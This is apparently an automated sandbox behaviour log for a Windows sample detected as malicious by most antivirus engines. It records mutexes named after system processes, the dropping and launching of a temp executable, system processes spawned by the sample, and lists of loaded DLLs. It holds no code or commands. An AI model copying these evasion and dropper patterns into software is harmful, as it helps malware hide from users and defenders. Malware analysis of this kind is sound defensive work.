Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_5680_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1680_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1220_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_1052_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\dllhost.exeM_7412_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1408_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_7068_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_4632_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1028_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\winlogon.exeM_584_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_1968_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\wmiadap.exeM_5952_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\lsass.exeM_640_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3296_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1124_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1584_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_2936_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_1172_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_6444_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2300_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_7032_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_6432_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_6880_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\fontdrvhost.exeM_784_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_4472_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_4852_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_592_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\memory compressionM_1568_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_5820_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_6052_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\officeclicktorun.exeM_2648_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_5072_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1452_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\#u6587#u4ef6#u7279#u5f81#u6458#u8981#u5217#u8868#u751f#u6210.exeM_7248_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2608_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2432_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1248_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_7296_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\cscript.exeM_5220_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_5964_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_5976_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\dashost.exeM_4228_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\conhost.exeM_5504_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_880_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3032_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_2716_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File created: C:\Users\user\AppData\Local\Temp\YMZwp.exe Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File read: C:\Windows\system.ini Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: svchost.exe, 00000019.00000000.1454353956.000001F0FBA9F000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: CREATE TABLE [WNSPushChannel]( [ChannelId] TEXT NOT NULL, [HandlerId] INTEGER REFERENCES[NotificationHandler]([RecordId]) ON DELETE CASCADE ON UPDATE CASCADE, [Uri] TEXT, [ExpiryTime] INT64, [CreatedTime] INT64, [DeviceVersion] INT64 DEFAULT '0', CONSTRAINT[] PRIMARY KEY([ChannelId]) ON CONFLICT REPLACE);
Source: svchost.exe, 00000017.00000000.1451423059.000001697C109000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SELECT [Id], [AssetPayload], [Status], [LastRefreshTime] FROM [Asset] WHERE [Status]=?;
Source: svchost.exe, 00000017.00000000.1451662239.000001697C19A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1450773187.000001697A665000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1451423059.000001697C12C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: INSERT INTO [Activity] ([Id], [AppId], [PackageIdHash], [AppActivityId], [ActivityType], [ActivityStatus], [ParentActivityId], [Tag], [Group], [MatchId], [LastModifiedTime], [ExpirationTime], [Payload], [Priority], [IsLocalOnly], [PlatformDeviceId], [CreatedInCloud], [StartTime], [EndTime], [LastModifiedOnClient], [GroupAppActivityId], [ClipboardPayload], [EnterpriseId], [UserActionState], [IsRead], [GroupItems], [DdsDeviceId], [LocalExpirationTime], [ETag]) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,(SELECT [Value] FROM [ManualSequence] WHERE [Key] = 'Activity'));
Source: svchost.exe, 00000017.00000000.1451423059.000001697C12C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: INSERT INTO [Activity] ([Id], [AppId], [PackageIdHash], [AppActivityId], [ActivityType], [ActivityStatus], [ParentActivityId], [Tag], [Group], [MatchId], [LastModifiedTime], [ExpirationTime], [Payload], [Priority], [IsLocalOnly], [PlatformDeviceId], [CreatedInCloud], [StartTime], [EndTime], [LastModifiedOnClient], [GroupAppActivityId], [ClipboardPayload], [EnterpriseId], [UserActionState], [IsRead], [GroupItems], [DdsDeviceId], [LocalExpirationTime], [ETag]) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,(SELECT [Value] FROM [ManualSequence] WHERE [Key] = 'Activity'));Acrobat","acti
Source: svchost.exe, 00000017.00000000.1451662239.000001697C19A000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: INSERT INTO [Activity_PackageId] ([ActivityId], [Platform], [PackageName], [ExpirationTime]) VALUES (?,?,?,?);
Source: svchost.exe, 00000017.00000000.1451423059.000001697C109000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SELECT [Id], [AssetPayload], [Status], [LastRefreshTime] FROM [Asset] WHERE [Status]=?;=
Source: svchost.exe, 00000017.00000000.1451423059.000001697C112000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: UPDATE [ManualSequence] SET [Value] = [Value] + 1 WHERE [Key] = 'Activity';
Source: svchost.exe, 00000017.00000000.1451662239.000001697C19A000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: INSERT INTO [Activity_PackageId] ([ActivityId], [Platform], [PackageName], [ExpirationTime]) VALUES (?,?,?,?);p
Source: svchost.exe, 00000017.00000000.1451423059.000001697C12C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: CREATE TABLE [Activity_PackageId]([ActivityId] GUID NOT NULL, [Platform] TEXT NOT NULL COLLATE NOCASE, [PackageName] TEXT NOT NULL COLLATE NOCASE, [ExpirationTime] DATETIME NOT NULL);
Source: svchost.exe, 00000017.00000000.1450773187.000001697A665000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: INSERT INTO [Activity] ([Id], [AppId], [PackageIdHash], [AppActivityId], [ActivityType], [ActivityStatus], [ParentActivityId], [Tag], [Group], [MatchId], [LastModifiedTime], [ExpirationTime], [Payload], [Priority], [IsLocalOnly], [PlatformDeviceId], [CreatedInCloud], [StartTime], [EndTime], [LastModifiedOnClient], [GroupAppActivityId], [ClipboardPayload], [EnterpriseId], [UserActionState], [IsRead], [GroupItems], [DdsDeviceId], [LocalExpirationTime], [ETag]) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,(SELECT [Value] FROM [ManualSequence] WHERE [Key] = 'Activity'));oLYkzl/RcxGsR4
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe ReversingLabs: Detection: 97%
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Virustotal: Detection: 89%
Source: unknown Process created: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe "C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe"
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process created: C:\Users\user\AppData\Local\Temp\YMZwp.exe C:\Users\user\AppData\Local\Temp\YMZwp.exe
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process created: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process created: C:\Windows\System32\RuntimeBroker.exe C:\Windows\System32\RuntimeBroker.exe -Embedding
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7348 -s 1624
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process created: C:\Users\user\AppData\Local\Temp\YMZwp.exe C:\Users\user\AppData\Local\Temp\YMZwp.exe Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: ntvdm64.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: esent.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: dxgi.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: wincorlib.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.ui.xaml.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: coremessaging.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: bcp47langs.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: iertutil.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: dcomp.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: wintypes.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.ui.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windowmanagementapi.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: textinputframework.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: inputhost.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: coreuicomponents.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: propsys.dll
